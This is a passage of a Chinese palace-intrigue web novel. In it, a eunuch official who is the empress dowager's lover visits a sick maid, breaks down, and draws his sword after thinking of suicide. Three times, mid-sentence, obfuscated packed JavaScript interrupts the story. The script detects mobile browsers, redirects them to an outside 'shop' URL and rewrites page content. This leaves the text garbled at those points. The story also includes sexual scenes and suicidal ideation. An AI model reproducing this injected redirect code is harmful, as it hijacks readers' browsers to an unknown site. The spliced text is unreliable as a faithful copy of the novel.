关禧将她的反应尽收眼底,心头那股奇异的感觉愈发清晰。原来,高高在上,算无遗策的太后娘娘,也会有这般近似于寻常女子的羞恼情态。他低下头,凑到她烧红的耳边,温热的气息挑过她敏感的耳廓,声音里带上了毫不掩饰的笑意: “是是是,奴才胡吣。”他嘴上认错,动作却完全不是那么回事,一只手已然探入锦被,隔着那层柔软的浅樱粉寝衣,覆上了她腰侧,“是奴才想了。” 他的手掌温热,隔着丝绸布料摩挲着她腰间的软肉,力度不轻不重。 郑书意身体一颤,像是过电般,那股被他言语挑起的羞愤,被这直接的触碰搅散,化作更汹涌的暗流。她想斥责他放肆,想拍开他的手,可喉咙像是被什么堵住了,只逸出一声短促的轻哼。 那声音又娇又软,与她平日或威严或慵懒的语调截然不同,像是从喉咙深处被逼出来的,带着她自己都未曾察觉的媚意。 关禧听得心头一荡,眼底暗色更浓。他太熟悉她身体的反应了。那微微绷紧又瞬间酥软的腰肢,那骤然急促起来的呼吸,还有那双渐渐漫上水雾,不再躲闪,勾缠过来的杏眼……无一不在诉说着她的动情。 晨光透过帐子,在她晕红的颊边镀上一层柔和的绒光,几缕乌发贴在额角颈侧,寝衣领口因方才的挣动松散了些,露出一截精致的锁骨和下方若隐若现的饱满弧线。此刻的她,褪去了所有太后威仪,只是一个被情欲浸染的女人。 关禧喉结滚动,低下头,正要吻住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280900|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那嫣红唇瓣。 “叩、叩叩。” 不急不缓的三下叩门声。 紧接着,江嬷嬷足以让内殿听清的声音,在门外响起: “娘娘,您醒了吗?乾元殿孙副总管方才过来传话,陛下说今日午膳,想来永寿宫陪您用。还说有桩关于内库年节开支的事儿,想顺道请教娘娘。” 话音落下,寝殿内霎时一片死寂。 关禧的动作僵在半空,离郑书意的唇瓣仅剩寸许距离,他眼底翻涌的情欲被瞬间冰封,身体某处,硬生生卡在不上不下的境地,比直接的冷水浇头更令人憋闷。 皇帝要来。偏偏是这个时候。 郑书意眼中的迷蒙水雾也以肉眼可见的速度褪去,脸上的红晕尚未完全消散,但神色已然不同。 她立刻就做出了反应。 一只手抵在了关禧结实的胸膛上,将他推开,另一只手则拢了拢自己散开的寝衣领口,指尖划过锁骨,将那点泄露的春光严严实实掩了回去。 “知道了。告诉皇帝,哀家这儿午时备膳。内库的事,让他把条陈带来。” “是,娘娘。”江嬷嬷应了一声,脚步声远去。 帐内重新安静下来,方才那点缠绵的温度已荡然无存。 关禧被推开,维持着半撑的姿势,胸口起伏,盯着身下的郑书意。她已侧过脸,避开了他的视线,目光落在帐顶繁复的绣纹上,侧脸线条在朦胧光线下显得有些冷硬。 一股无名火混合着未消的欲念和某种深沉的屈辱感,窜上关禧的心头。又是这样。每次都是这样。在她心里,他永远排在那至高无上的皇权之后,排在她与皇帝之间那微妙的博弈之后。需要时召之即来,一旦涉及前朝,涉及皇帝,便能毫不犹豫地将他推开,仿佛他只是一件可以随时搁置的玩物。 按照以往,这种时候,郑书意多半会冷冷瞥他一眼,或许还会带着讥诮说两句没眼色,不知分寸之类的话,让他认清自己的位置,然后打发他离开。 关禧抿紧了唇,下颌线紧绷,正准备自己起身,不再自取其辱。 一只微凉柔软的手,抚上了他的脸颊。 关禧浑身一僵。 他转过视线,郑书意那双杏眼里没有了方才情动时的水光,也没有了平日训诫时的凌厉。她的指尖摩挲着他紧绷的颌线,沿着那清晰的轮廓移动。 “瞧你,”她开口,语气是刚才吩咐江嬷嬷时截然不同的软和,“嘴撅得能挂油瓶了。” 关禧没吭声,眼底的戾气未散,混合着一丝不易察觉的怔忡。 郑书意的手指滑到他紧抿的唇畔,用指腹按了按那抿得发白的唇线,试图将它揉开一点弧度。她的目光与他胶着,声音更柔了些: “急什么?嗯?” “皇帝难得过来用顿午膳,不过是做给外头人看的场面事儿。他那点心思,哀家还不知道?借着内库开支的名头,无非是想探探哀家这边的口风,顺带……也看看你。” 她顿了顿,指尖停留在他唇角,若有深意地点了点:“你这副样子出去,是生怕皇帝瞧不出端倪,抓不到把柄?” 关禧的睫毛颤动了一下,胸口那团横冲直撞的火,在她这罕见的温言软语和细腻触碰下,竟消散了些许。 郑书意将他的变化看在眼里,眼底掠过一丝笑意。她收回手,就着这个极近的距离,仰起脸,凑到他耳边。 温热的气息混合着她身上独有的馨香,拂过他的耳廓,“乖乖的,先去外头候着。等晚上……等皇帝走了……” 她的话没有说完,但尾音微微上挑,带着无限的遐想空间。那未竟的话语,比直白的邀请更勾人心魄。与此同时,她那只原本抵在他胸前的手,也悄然下滑,隔着薄薄的中衣,在他紧绷的腰腹间,不轻不重地按揉了一下。 关禧身体猛地一震,喉结滚动,方才被强行压下的燥热,一下卷土重来,比之前更烈。他倏地抬眼,对上郑书意近在咫尺的眸子。 那双杏眼里,哪里还有半分温和?分明是看透他所有反应的了然,是游刃有余的掌控,是知道如何精准撩拨他,安抚他,又吊着他的深谙人心。可偏偏,在那片深不见底的掌控欲之下,又似乎真的藏着一丝因他此刻反应而生的愉悦。 她没像以前那样骂他,在哄他。 这比任何直接的责难或命令,都更让关禧心绪翻腾。像是一脚踩空,坠入她早已编织好的,柔软危险的网。 郑书意不再多言,拍了拍他的手臂:“去吧。让江嬷嬷进来伺候哀家梳洗。” 关禧闭了闭眼,再睁开时,眼底那些激烈的情绪已被强行压下,只余下一片沉沉的暗色。他起身,扯过昨夜丢在床尾的竹青色外袍,快速穿上。 系衣带时,指尖顿了顿,随即恢复如常。 穿戴好,他径直走到门边,拉开一道缝隙,侧身闪了出去。 帐内,郑书意独自躺在尚留有余温的锦褥间,听着外面传来关禧压低声音吩咐江嬷嬷,以及江嬷嬷和宫女们轻手轻脚进来的细微声响,抬手,抚上自己方才被他气息灼烫过的耳廓。 她勾了勾唇,笑容清浅。 115.第 115 章 关禧回到内缉事厂衙署时,雪霁天青,日头却稀薄,没什么暖意。 衙署内肃静一如往昔,番役值守,目不斜视。 他换下那身浸染了永寿宫暖香与晨间旖旎气息的竹青色外袍,连同中衣一并丢给双喜,步入衙署深处专设的浴房。 水温比永寿宫的稍烫些,他把自己沉进去,闭着眼,任由热水包裹,冲刷着皮肤上或许存在的痕迹,也试图浇熄心底那簇被反复撩拨又生生摁灭的邪火。 洗漱毕,换了身干净的靛青常服,头发用一支简单的乌木簪束起。早膳是惯常的清粥小菜,他吃得不多,只略动了几筷,便搁下了。 辰时已过,该处理公务了。司礼监掌印兼提督内厂,每日经手的奏报密件堆积如山。他坐在宽大的紫檀木公案后,提笔蘸墨,开始批阅。朱砂鲜红刺目,落在雪白的纸笺上,或准或驳,或杀或留,笔迹平稳,不见半分滞涩。 可他心思并未全然凝注于这些关乎人命前程的字符之上。永寿宫晨起那一幕,郑书意指尖的温度,耳畔的低语,还有那句未竟的“等晚上……”,总在不经意间窜入脑海,搅起微澜。而更深处,另一张沉静的面容,悄无声息地浮现,楚玉。 双喜昨日送去的药,不知见效如何?咳血……那是极凶险的症候。周时安的方子再好,终是隔了一层。她那样清冷的性子,病中该是何等难受?可曾有人悉心照料?冯昭仪……会善待她吗? 思绪纷杂,笔下却未停。直到将最后一份关于京畿防务换防的密报合上,搁笔,他才惊觉已近午时。腹中并不觉饿,但规矩如此。午膳依旧是清淡的菜式,他草草用过,便挥手让人撤了。 雪彻底停了,庭院中积雪未融,映着稀薄的日光,白得晃眼。一片岑寂中,时间的流逝变得迟缓。他起身,在暖阁里踱了几步,目光落在窗外那株覆雪的老梅上,心思飘得更远。 这个时辰……皇帝应该在永寿宫用膳了罢?母子二人,对着满桌珍馐,说着关乎内库开支,实则暗藏机锋的场面话。太后会如何应对?皇帝又会如何试探? 皇帝在永寿宫,太后的注意力必然被牵制。那么此刻,后宫各处的眼睛,是否会松懈些许? 尤其是……承华宫。 去看楚玉。 几个月了,他刻意回避,用无数公务和向太后的效忠来麻痹自己,仿佛只要不去想,不去看,那个叫楚玉的女人就能在他的记忆里安然无恙,也能在现实里因他的听话获得暂时的平安。 可双喜昨日带来的消息,像一根刺,扎破了这自欺欺人的假象。她病了,病得很重,咳血。而他,连光明正大问一句的资格都没有,只能拐弯抹角地送药。 凭什么? 他是司礼监掌印,是提督内厂,可以在后宫行走,难道连探望一个旧宫人的自由都没有?就算太后知晓,此刻她正应付着皇帝,难道还能立刻分心来管他?况且,他以公务为由,巡查六宫,名正言顺。 纠结像两股绳索在脑中拉扯。理智警告他风险,情感却叫嚣着冲动。窗外的雪光映着他变幻不定的侧脸,最终,那点被压抑了太久,对楚玉本能的牵挂,压倒了所有权衡。 “双喜。”他扬声唤道。 双喜一直在外间候着,闻声小跑进来,“督主。” “备轿,去承华宫。”关禧转身,走向衣架,取下一件玄色狐皮大氅,语气尽量平静,“冯昭仪协理宫务,年节下各宫用度支取、人手调配,有几处模糊不清,本督需当面核实。” “是,奴才这就去准备。”双喜心知肚明,什么核查公务,不过是借口。督主这是终于忍不住要去见青黛姑娘了。他不敢多言,退出去安排。 不多时,一顶不起眼的青呢小轿已停在衙署二门外,随行的除了双喜,还有四名穿着便服,眼神精悍的厂卫番役,既是护卫,也是排场。 关禧裹紧大氅,踏入轿中。轿帘落下,隔绝了外界目光。小轿起行,朝着后宫方向而去。 雪后宫道空旷寂静,轿夫脚步轻捷。关禧靠在轿厢内壁,闭着眼,指尖摩挲着大氅边缘柔软的狐毛。心跳,在沉寂中逐渐加快。近乡情怯,或许便是如此。他不知道见到楚玉该说什么,更不知道会看到怎样的她。病容憔悴?还是清冷疏离?还有冯媛……她会如何反应? 承华宫位于西六宫偏北,不算最得宠的宫苑,却因冯媛协理宫务之权,向来打理得井井有条,自有一股清贵气象。轿子在宫门外停下,双喜上前,对守门的太监亮出东厂的腰牌,“司礼监关掌印,有公务需面见冯昭仪娘娘,速去通传。” 守门的太监是个面生的年轻内侍,闻言吓得一哆嗦,抬眼觑见轿边那几名气息沉凝的番役,又看到双喜手中那枚代表着滔天权势的铜符,哪敢怠慢,连忙躬身:“是是是,奴才这就去禀报娘娘!”说罢,转身一溜小跑进了宫门。 等待的时间并不长,但对轿中的关禧而言,却仿佛过了许久。他听见宫门内传来略显急促的脚步声,接着,一个穿着体面些的中年太监小跑着迎了出来,脸上堆着恭敬的笑,对着轿子深深一揖: “关掌印大驾光临,有失远迎,娘娘请您进去呢。雪天路滑,您小心脚下。” 关禧掀帘下轿,玄色大氅衬得他面如冠玉,身姿挺拔,只是眉眼间笼着一层挥之不去的沉郁。他微微颔首,随着那引路的太监,步入了承华宫门。 与永寿宫的恢弘奢华,乾元殿的庄严肃穆不同,承华宫内景致清雅,一路行来,但见雪覆松竹,廊庑洁净,虽值寒冬,几株老梅却凌寒绽放,暗香浮动,幽幽袭人。宫人往来,皆屏息静气,行动规矩,见到关禧这一行人,无不迅速退避垂首,姿态恭谨中透着畏惧。 引路太监直接将关禧带到了寝殿所在的院落。院中积雪扫得极干净,露出青灰色的砖石地面,一株高大的玉兰树落光了叶子,枝桠遒劲,覆着晶莹雪挂。正房三间,门窗紧闭,廊下站着两个青衣宫女,见到关禧,齐齐屈膝行礼。 太监在门前止步,躬身道:“掌印,娘娘在里头。您请。” 关禧顿了顿,抬手解下大氅,递给身后的双喜,自己整了整靛青常服的衣襟,迈步上前,亲手推开了那扇虚掩的雕花木门。 一股混合着药香,暖意与淡淡女子馨香的气息扑面而来。室内光线柔和,地龙烧得暖融,驱散了外间的寒气。陈设并不奢华,却处处透着雅致与书卷气,多宝阁上除了几件古玩,更多是整齐叠放的书籍卷轴。临窗的炕上铺着厚厚的锦褥,设着小几。而此刻,吸引关禧全部注意力的,是里间那张垂着纱帐的拔步床,以及床边的两个人。 冯媛正坐在床沿。 她今日穿着一身家常的藕荷色织锦袄裙,外罩一件月白缎面出锋的比甲,乌发挽成温婉的坠马髻,只簪着一支素雅的珍珠步摇,耳边一对小小的翡翠坠子。脸上薄施脂粉,眉目如画,还是那副温婉清丽的模样,只是眼角眉梢,比起往日多了几分不易察觉的柔和?抑或是疲惫? 而她的怀里,半靠半躺着的,正是楚玉。 楚玉只穿着一身素白的中衣,外头松松披了件浅青色缎面夹袄,墨黑的长发未绾,铺散在身后与冯媛的臂弯间。她的脸色苍白,唇色极淡,眼睫低垂着,在眼下投出浅浅的阴影,整个人清减了许多,却依旧不掩其五官的精致与那股子浸到骨子里的清冷气质。 冯媛一手揽着楚玉的肩,另一只手正端着一个甜白釉的小药碗,碗里是黑褐色的药汁。她低着头,正轻声对楚玉说着什么,然后把药碗凑到楚玉唇边,喂她喝药。楚玉似乎没什么力气,就着她的手,小口小口吞咽,偶尔被呛到,低低咳嗽两声,冯媛便会放下药碗,拿起旁边一块干净的帕子,替她擦拭嘴角,动作轻柔得不像话。 这一幕,和谐,亲密,甚至……刺眼。 关禧的脚步在进门处顿住了。他设想过许多种见到楚玉的情景,却唯独没有这一种。冯媛……她怎么会?她们之间,何时有了这样……远超主仆的亲密? 楚玉心里有冯媛,他是知道的。可那不该是……不该是这样的形态,冯媛是主子,是昭仪,楚玉是宫女,是奴婢,就算有情分,就算楚玉病重需要照料,又何至于此?亲自揽在怀里喂药,这般姿态,这般眼神…… “关掌印来了?”冯媛这才察觉到门口的动静,抬起头,望向关禧,脸上露出一抹恰到好处带着些许讶异的微笑,手上喂药的动作未停,“真是稀客。快请进来吧,外头冷。”她的声音一如既往的温婉,听不出什么异样,仿佛眼前这亲密无间的景象再正常不过。 楚玉也转动眼眸,朝门口看来。她的目光疏离,只是在触及关禧身影时,颤动了一下,随即又恢复了平静,她想挣扎着坐直些,却被冯媛按住了肩膀。 “别动,仔细又咳。”冯媛低语,语气是关禧从未听过的温柔,她这才将药碗暂且搁在床边小几上,调整了一下姿势,让楚玉靠得更舒服些,然后才重新看向关禧,笑意盈盈,“掌印公务繁忙,今日怎么得空过来?可是有什么要紧事?”她完全没在意关禧瞬间晦暗下去的脸色,也忘了自己怀中正抱着一个本该由宫女伺候的病人。 关禧强迫自己挪动脚步,走进室内。每走一步,都像踩在绵密的针尖上。他扯了扯嘴角,挤出一个符合此刻公务巡查身份的笑容。 “叨扰娘娘了。”他开口,声音有些发紧,目光不由自主地飘向楚玉苍白的面容,“年关将近,各宫用度支取、人员调度,司礼监与内官监需核对清楚。承华宫这边历来账目清晰,只是有几笔款项去处,下头人报得含糊,奴才顺路,便过来问问娘娘,也好心中有数。” 他这番话编得滴水不漏,目光却始终难以从楚玉身上移开。她瘦了,下巴尖得可怜,领口露出的锁骨清晰可见。那双总是沉静的眼,因生病蒙着一层水汽,少了些锐利,多了些他从未见过的脆弱,她靠在冯媛怀里,对周遭的一切,包括他的到来,都漠不关心。 “原来是为这个。”冯媛点点头,笑容得体,“些许琐事,竟劳动掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285391|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印亲自跑一趟。具体是哪几笔,掌印不妨说说,本宫这就让人去取账册来。”她说着,却并未立刻唤人,又端起了那碗药,用调羹搅了搅,试了试温度,再次递到楚玉唇边,柔声道:“玉儿,再喝两口,凉了就更苦了。” 玉儿?! 关禧的瞳孔骤然收缩,指尖掐入了掌心。冯媛竟然叫她“玉儿”?这般亲昵的称呼,从一个主子口中,对一个宫女叫出来?而且,她此刻全副心神似乎都在楚玉身上,对他的到来,以及所谓的公务,显得心不在焉。 楚玉顺从地又喝了两口药,眉头蹙起,显然极苦。冯媛从旁边小碟子里拈起一颗蜜饯,喂到她嘴边。楚玉含住了,苍白的脸颊鼓动了一下,然后舒了口气,那张清冷绝艳的脸上,看不出任何情绪波动。 这一切,都落在关禧眼中,像慢放的画面,每一帧都在放大那种亲密。冯媛的动作太自然,太熟练,眼神里的关切太满,早已超出了寻常主仆,超出了姐妹情谊的范畴。那是一种占有性的,呵护备至的温柔。 而楚玉,她虽然没什么表情,但那份全然的顺从,也同样刺目。她何时对冯媛如此不加设防了?在他刻意疏远的这几个月里,究竟发生了什么? “账册……不急。”关禧努力将视线从床边那幅温馨图景上撕开,投向多宝阁上的书籍,试图找回自己的节奏,“娘娘协理六宫,一向周全,奴才自是信得过的。只是循例问问罢了。倒是……”他顿了顿,终究还是忍不住,目光再次落回楚玉身上,语气放得和缓些,“听闻青黛姑娘身体不适,如今可好些了?太医院可曾用心诊治?” 冯媛闻言,抬起眼,似笑非笑地看了关禧一眼,那眼神洞悉一切,又含蓄地没有点破,“劳掌印挂心。”她用手帕擦去楚玉嘴角一点药渍,“玉儿这病,来得急,是前些日子夜里着了凉,引发了旧疾。太医署的周院判亲自来看过,开了方子,一直在调理。只是她身子骨向来弱,这次又伤了肺经,恢复得慢些。不过,有本宫亲自照看着,总不会让她有事。”她特意加重了“亲自照看”四个字,揽着楚玉的手臂,更收紧了些。 楚玉在冯媛怀里,偏过头,避开了关禧的目光,咳嗽了两声,声音低哑:“奴婢微贱之躯,不敢劳掌印垂问。有娘娘悉心照料,已是大幸。” 她的声音很轻,语气是惯常的恭谨疏离,听在关禧耳中,像是一把钝刀子,慢慢割着他的心。微贱之躯……不敢垂问……她这是在划清界限,用最客套的话,将他推开千里之外。而那句“有娘娘悉心照料,已是大幸”,更像是在强调冯媛的存在,强调她们之间此刻不容他人置喙的亲密关系。 关禧胸口那股憋闷之气快要冲破喉咙。他看着楚玉苍白的侧脸,看着她依偎在冯媛怀中的姿态,看着冯媛那带着明显宣示意味的温柔动作,一个可怕的念头窜上来。 难道在他刻意远离,拼命向太后证明忠诚的这段时间里,楚玉的心已经彻底偏向了冯媛?她们之间,已经发展出了某种他无法介入的深刻联系? 这个猜想让他如坠冰窟,又燃起一股无名邪火。 凭什么?冯媛凭什么?就因为她是个女人?就因为她可以在他无法触及的时候,给予楚玉看似无微不至的照顾和陪伴?而他,他关禧,冒着风险,在太后眼皮子底下如履薄冰,甚至不惜用最不堪的方式去换取她暂时的平安,到头来,却连靠近她,关心她都要找个蹩脚的借口,还要眼睁睁看着她在另一个女人的怀里,对他冷淡疏离?! 怒火与妒意交织,烧得他眼底发红。可他什么都不能做,什么都不能说。他只能站在这里,扮演着司礼监掌印的角色,看着眼前这令他心如刀绞的一幕,还得扯出笑容,说着言不由衷的官话。 “娘娘体恤下人,六宫皆知。青黛姑娘能得娘娘如此看顾,确是福分。既如此,奴才便不多打扰了,娘娘好生照顾青黛姑娘,账目之事,改日再议不迟。” 他用尽了全身力气,才维持住表面的镇定,说出了告辞的话。再多待一刻,他怕自己会失控。 冯媛目光在关禧紧绷的脸上停留了一瞬,那双温婉的眼眸深处,掠过一丝不易察觉的了然。她垂眸看了看怀中神色疲倦的楚玉,又抬眼看向强自镇定的关禧,唇角弯了一下,随即恢复了得体的笑意。 “掌印说的是,公务确实不急在一时。”冯媛说着,扶着楚玉躺回枕上,为她掖好被角,动作轻柔得像对待易碎的珍宝,“玉儿今日精神短了些,刚吃了药,也该歇歇。”她站起身,理了理自己的衣袖,目光转向关禧,语气温和,“既然掌印来了,正好,有几桩关于年后小选宫人安置的旧例,本宫记得不太真切,想请教掌印。不如……掌印暂且宽坐,陪玉儿说说话,本宫去书房寻寻那本旧档,去去就回。” 她话说得滴水不漏,既给了关禧留下的理由,又顺理成章地制造了独处的空间。 甚至,她临走前,还回头对楚玉柔声嘱咐了一句:“玉儿,关掌印不是外人,若有什么不舒服,或想喝水,尽管说。” 116.第 116 章 门扉合拢。 关禧站在原地,没有动。 冯媛的善解人意和那声“咔哒”的门响,像两记耳光,比直接的挑衅更让他难堪。她看透了他的急迫,他的失态,然后以施舍的姿态,给了他这个机会。这让他感觉自己像个被她看穿心思,随意摆布的小丑。而她临走前对楚玉那番温言细语,更是将主仆情深演绎到了极致,在他和楚玉之间,又划下了一道名为外人的鸿沟。 他死死盯着床榻上的楚玉。 她躺着,闭着眼,长睫在苍白的皮肤上投下阴影,方才冯媛在时那份柔顺的依赖感褪去了一些,只余下疲惫和疏离。 这种无视,比冯媛刻意的亲密更让关禧难以忍受。 他向前跨了一步。这动静终于让楚玉眼睫颤动了一下,睁开了眼睛,她的眸光是清清冷冷的,像蒙着一层冬日寒潭的雾气。 这目光让关禧胸口那股邪火窜得更高,他几步走到床前,居高临下地俯视着她,目光锐利如刀,试图剖开她平静的表象,“你倒是会享福。冯昭仪亲自悉心照料,喂药擦嘴,呵护备至……楚玉,我是不是该恭喜你,终于找到了稳妥的靠山,嗯?玉儿……叫得多亲热!你这病,生得真是时候,正好让她有机会展现贤德,也正好……让你能名正言顺地赖在她怀里,是不是?!” 楚玉偏过头,避开了他的视线,目光落在床帐一角细微的绣纹上,声音轻得飘散在空气里: “提督是来巡查公务的,何必与一个病中的奴婢置气。” “奴婢?”关禧像是听到了什么极可笑的话,嗤笑一声,忽然弯下腰,双手撑在楚玉身侧的床沿,将她困在自己与床榻之间。 两人距离瞬间拉近,近到他能闻到她身上淡淡的药味和她本身那股清冽的气息,也能看到她眼底那片深不见底的沉寂。 “楚玉,你少跟我来这套!”他盯着她的眼睛,咬牙切齿,气息不稳,“你知道我为什么来!什么公务,什么账目,都是狗屁!我冒着风险过来,不是来看你怎么和冯媛演主仆情深的!” “咳血?病重?你就这么糟践自己?!我给你送的药呢?周时安的方子,宫里最好的药材,你就这么不当回事?还是说……冯媛的亲自照料,比什么灵丹妙药都管用,让你乐不思蜀,连命都不想要了?!” 他越说越激动,一只手抬起,想去抓住她的肩膀摇晃,逼她给出一个答案,可在指尖即将触碰到她单薄衣料的刹那,又硬生生僵在半空。 他终究……还是舍不得。 那抬起的手垂下,紧握成拳,骨节捏得咯咯作响。 他直起身,向后退开两步,背过身去,胸膛起伏,努力平复着翻腾的气血。 寝殿内重归死寂,只有他粗重压抑的呼吸声,一声声,敲打在寂静的空气里。 良久,楚玉的声音才在他身后响起,没什么力气: “药收到了。多谢提督费心。” 顿了顿,她又补充了一句: “我的命,我自己知道轻重。不劳提督挂怀。” 这话听着是感谢,是撇清,可落在关禧耳中,却比直接的指责更让他心口闷痛。他知道轻重?她知道什么?她知道他每晚在永寿宫承受什么才换来太后一句“暂且保着”?她知道他每一次批下那些沾血的条陈时,心底那片荒芜的恐惧?她知道他此刻站在这里,用尽全部力气克制自己不去碰她,需要多大的意志? 她什么都不知道。或者,她知道了,却选择用这样的方式,将他推开。 “你知道什么……你知道什么?!” 关禧转过身,那双凤眼里已经满是血丝,他没有再强撑那副司礼监掌印的威仪,他像是被抽走了全身的筋骨,颓然地向后一跌,就那么直接坐在了地砖上。 “楚玉……你是不是……是不是跟冯媛好上了?是不是因为我……因为我跟太后……” 他说不下去了,抬手狠狠抹了一把脸,掌心一片湿冷。 “你看着我啊!”他抬起头,脸上泪痕交错,死死盯着床上依然侧着脸的楚玉,“你看着我说!是不是因为我跟太后太亲密了,你恶心了?嫌弃了?所以才这样气我?!才躲到冯媛怀里去?!” 他越说越急,越说越尖,“你以为我愿意吗?!楚玉,你以为我愿意去爬永寿宫的床,愿意让一个年纪能当我娘的女人……那样对我?!可我有什么办法?!你说啊!当初是谁教我,在这宫里要想活下去,就得找个靠山,就得学会低头,学会忍?!” “是你!是你教我的!你说要看清谁是真正的棋手,要学会在夹缝里求存……我听了!我都听了!我找了太后这个靠山,我把自己卖了个干干净净!我是为了什么?!” “我就是想活着……想护着你活着……我错了吗?我就错了吗?!是,我现在是脏了,从里到外都脏透了,我手上沾的血,我自己半夜想起来都恶心得想吐……可我能怎么办?我不靠着太后,皇帝早就把我碾死了,你也……” 他哽住了,大口喘气,胸口剧烈起伏,几乎要背过气去: “为什么啊……楚玉……为什么才几个月,你就又像变了一个人?在承华宫的时候也是,明明……明明我们什么都做过了,我连命都可以给你,你为什么总是一次次推开我?你说我们身份有别,说我会后悔……可我从来没有后悔过!从来没有!” “我是一个人……楚玉,我也是一个人,活生生的一个人……心是肉做的,它会疼啊……你教我怎么在宫里活,可你没教我怎么才能不疼……太后掐着我的脖子,皇帝盯着我的后背,满朝文武都想我死……我每天一睁眼,就要算计,就要杀人,就要装出一副阎王相……我累啊……我真的累得快撑不住了……” 他的哭声渐渐低下去,变成断断续续的抽噎,肩膀颤抖着,整个人缩在床脚边,那么高大的一个人,此刻却显得无比渺小。 “我就想……就想偶尔能看看你……听你说句话……哪怕就一句你好好的……我就还能骗自己,这一切还有一点意思……还有一点念想……” 他终于说不下去了,把脸埋进膝盖,只剩下压抑不住的,从胸腔深处溢出来的呜咽,在寂静的寝殿里回荡。 床榻上,楚玉一直没有动。 她侧着脸,目光落在帐角,眼眶早已通红,泪水顺着苍白的脸颊滑落,没入鬓发,没入枕巾。她放在锦被外的那只手,颤抖着,指甲深深陷进掌心,留下月牙形的血痕。 她听他说起太后的逼迫,说起在泥沼里的挣扎,说起夜半惊醒的恶心,说起无人可诉的孤独……每一个字,都印证着她这几个月来最深的恐惧和心疼。 她怎么会不知道?她太知道了。正因如此,她才必须推开他。 许久,久到关禧的抽噎渐渐平息,楚玉才转过了头。 她看着他,那个蜷缩在床脚,哭得浑身发抖,毫无形象可言的关禧。褪去了所有权势和伪装,他不过是个十七岁的少年,一个被命运抛进深渊里,被迫迅速苍老的可怜人。 她的嘴唇动了动,声音嘶哑: “我没有跟冯媛好上。” 关禧抬起头,脸上泪痕狼藉,眼睛红肿,愣愣地看着她。 楚玉闭了闭眼,泪水又涌出来一些:“我推开你……不是因为嫌弃你脏。”她顿了顿,每个字都说得很艰难,“是因为我配不上。” 关禧怔住了。 “关禧,”她叫他的名字,不再是疏离的“提督”,声音轻得像叹息,“你如今是司礼监掌印,前程似锦……就算现在如履薄冰,可你才十七岁,你有的是时间和手段,总有一天……你能真正站在高处,不必再仰人鼻息。” “可我呢?我只是个宫女,这辈子最大的造化,也不过是在某个主子身边老死。我们之间……隔着天堑。” 她深吸一口气,压住喉咙里的哽咽:“而且……你说得对,我心里确实有冯媛。” “她待我好,从小到大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285392|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都好。这次我病着,她衣不解带地照顾,我都看在眼里……我没办法装作无动于衷。可我也知道,我对她,更多的是恩情和依赖,还有……”她苦笑着摇头,“一些连我自己都理不清的糊涂心思。” “但对你不一样。关禧,我对你……是心动,是心疼,是恨不得替你承受一切,却又清楚地知道,我什么都做不了,只会成为你的拖累和死穴。” “太后为什么会容我活着?不是因为她仁慈,而是因为她捏住了我对你的意义,就能牢牢捏住你。如果有一天,她觉得我不再有用,或者成了你往上爬的阻碍,我的死期就到了。而到了那一天,你会怎么做?你会为了我,跟她撕破脸吗?你会放弃现在拥有的一切,甚至赌上性命吗?” 她看着关禧苍白的脸,摇了摇头:“你不会。你不能。我也不希望你那样做。” “所以,长痛不如短痛。就当你我从未开始过。你就当……楚玉只是个教过你几天规矩、已经忘了模样的旧宫人。好好走你的路,攀你的高峰。别再回头看,也别再……为我冒险了。” 她说了那么多,归根结底,还是一句话:她不想要他了。 因为身份,因为冯媛,因为太后,因为他那虚无缥缈的前程……她权衡了所有利弊,然后选择了最明智的一条路。 把他推开。 所有的哭诉,质问,崩溃,在这一刻都显得可笑又无力。他还能说什么?求她别放弃他?可他拿什么保证她的安全?拿什么许诺他们的未来?他自己都活在钢丝上,朝不保夕。 活着……这么累,这么脏,这么痛,到底是为了什么?就为了在这吃人的地方继续爬,继续杀,继续睡在太后的床上,换来这看似煊赫实则朝不保夕的九千岁? 他忽然想起很久以前,另一个世界,那盏惨白的日光灯,那份没做完的卷子,那阵猝死前心脏的绞痛。如果那是解脱,为什么又把他扔进这更不堪的地狱?变成太监,变成玩物,变成刽子手……连心里最后一点干净念想,也要被现实碾得粉碎。 回去?回不去了。那就……彻底结束吧。 这个念头升起时,竟带来一丝平静。 关禧抬起头,脸上没有任何表情,只有一片死寂的漠然。他撑着地砖,摇摇晃晃地站起身,动作有些迟缓,解开了靛青常服腰间的束带。 束带下,悬着那柄皇帝亲赐,象征着他提督身份,也伴随着他一路染血的绣春刀。乌黑的刀鞘,暗色的宝石吞口,在寝殿昏黄的光线下,流转着幽冷的光泽。 “铿——!” 清越到刺耳的金铁摩擦声,骤然撕裂了一室死寂。 绣春刀出鞘。 